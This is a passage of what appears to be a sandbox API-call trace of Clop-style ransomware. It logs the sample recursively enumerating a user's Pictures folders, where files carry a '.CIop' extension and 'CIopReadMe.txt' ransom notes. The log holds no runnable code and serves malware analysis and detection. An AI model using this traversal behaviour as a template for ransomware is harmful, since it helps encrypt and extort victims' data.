iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0128.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0128.283] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67db78 [0128.283] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0128.283] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.283] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.283] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.283] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.283] lstrcmpW (lpString1="dDTdaFbzRTbH.png.CIop", lpString2="..") returned 1 [0128.283] lstrcmpW (lpString1="dDTdaFbzRTbH.png.CIop", lpString2=".") returned 1 [0128.283] lstrlenW (lpString=".CIop") returned 5 [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.283] lstrcmpW (lpString1="uOf1gCg-syx.bmp.CIop", lpString2="..") returned 1 [0128.283] lstrcmpW (lpString1="uOf1gCg-syx.bmp.CIop", lpString2=".") returned 1 [0128.283] lstrlenW (lpString=".CIop") returned 5 [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.283] lstrcmpW (lpString1="xBTg.bmp.CIop", lpString2="..") returned 1 [0128.283] lstrcmpW (lpString1="xBTg.bmp.CIop", lpString2=".") returned 1 [0128.283] lstrlenW (lpString=".CIop") returned 5 [0128.283] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0128.283] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.283] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.284] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0128.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0128.284] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67db78 [0128.284] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0128.284] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.284] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0128.284] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.284] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.284] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.284] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.284] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0128.284] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0128.284] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0128.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0128.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0128.284] SetErrorMode (uMode=0x1) returned 0x1 [0128.284] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0128.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0128.284] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0128.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0128.284] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67ddf8 [0128.285] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0128.285] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif.CIop", lpString2="..") returned 1 [0128.285] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif.CIop", lpString2=".") returned 1 [0128.285] lstrlenW (lpString=".CIop") returned 5 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.285] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.285] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="h72I_b.bmp.CIop", lpString2="..") returned 1 [0128.285] lstrcmpW (lpString1="h72I_b.bmp.CIop", lpString2=".") returned 1 [0128.285] lstrlenW (lpString=".CIop") returned 5 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg.CIop", lpString2="..") returned 1 [0128.285] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg.CIop", lpString2=".") returned 1 [0128.285] lstrlenW (lpString=".CIop") returned 5 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg.CIop", lpString2="..") returned 1 [0128.285] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg.CIop", lpString2=".") returned 1 [0128.285] lstrlenW (lpString=".CIop") returned 5 [0128.285] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0128.285] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 1 [0128.285] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 0 [0128.285] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0128.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0128.285] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dfb8 [0128.285] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0128.285] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0128.285] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.285] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.286] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0128.286] lstrcmpW (lpString1="J7dCVSJUmB", lpString2="..") returned 1 [0128.286] lstrcmpW (lpString1="J7dCVSJUmB", lpString2=".") returned 1 [0128.286] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0128.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0128.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0128.286] SetErrorMode (uMode=0x1) returned 0x1 [0128.286] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0128.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0128.286] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0128.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0128.286] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dbf8 [0128.286] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0128.286] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] lstrcmpW (lpString1="50YQIo4i.jpg.CIop", lpString2="..") returned 1 [0128.286] lstrcmpW (lpString1="50YQIo4i.jpg.CIop", lpString2=".") returned 1 [0128.286] lstrlenW (lpString=".CIop") returned 5 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png.CIop", lpString2="..") returned 1 [0128.286] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png.CIop", lpString2=".") returned 1 [0128.286] lstrlenW (lpString=".CIop") returned 5 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.286] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.286] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.286] lstrcmpW (lpString1="N6 e0qhUxBM.bmp.CIop", lpString2="..") returned 1 [0128.286] lstrcmpW (lpString1="N6 e0qhUxBM.bmp.CIop", lpString2=".") returned 1 [0128.286] lstrlenW (lpString=".CIop") returned 5 [0128.286] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0128.286] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0128.286] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0128.287] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0128.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0128.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67e0f8 [0128.287] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0128.287] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0128.287] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.287] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.287] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.287] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.287] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0128.287] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2="..") returned 1 [0128.287] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2=".") returned 1 [0128.287] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: 